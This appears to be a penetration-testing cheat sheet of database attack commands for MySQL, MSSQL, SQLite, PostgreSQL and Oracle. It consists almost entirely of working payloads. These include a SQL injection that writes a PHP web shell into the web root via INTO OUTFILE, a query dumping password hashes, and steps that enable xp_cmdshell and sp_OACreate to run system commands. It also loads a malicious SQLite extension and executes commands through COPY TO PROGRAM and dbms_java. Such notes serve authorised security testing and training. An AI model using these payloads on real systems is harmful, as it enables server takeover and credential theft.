MySQL
mysql -u {username} -p -h {host IP} -P {port}
SELECT user, passhash FROM mysql.user WHERE user = '{username}'
SELECT * FROM information_schema.tables;
SELECT @@version;
SELECT system_user();
INTO OUTFILE
to create a PHP/JSP/ASPX/etc shell
' UNION SELECT "<?php system('whoami');?>", null, null INTO OUTFILE "/var/www/html/tmp/shell.php" -- //
tmp
is important, because we might not have perms for /html
MSSQL
SQLCMD
allows SQL queries through cmdimpacket-mssqlclient
to connect to MSSQL databases
impacket-mssqlclient {username}@{host IP} -windows-auth
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';
-windows-auth
forces the use of NTLM auth (rather than Kerberos)SELECT name FROM sys.databases;
SELECT * FROM {database name from first query}.information_schema.tables;
SELECT * from {database name}.dbo.{table name}
dbo
is a table schemasp_OACreate
to execute commands
EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT; EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c {command}';
SQLite
sqlitebrowser
for viewing sqlite databasesSELECT load_extension('/tmp/malicious.so');
SQLite CLI
allows command execution with .shell {command}
or .system {command}
PostgreSQL
psql
for to connect to PostgreSQL databasesCOPY mytable TO PROGRAM 'whoami';
SELECT pg_execute_server_program('id');
pg_execute_server_program
Oracle
EXEC dbms_java.runjava('java.lang.Runtime.getRuntime().exec("{command}")');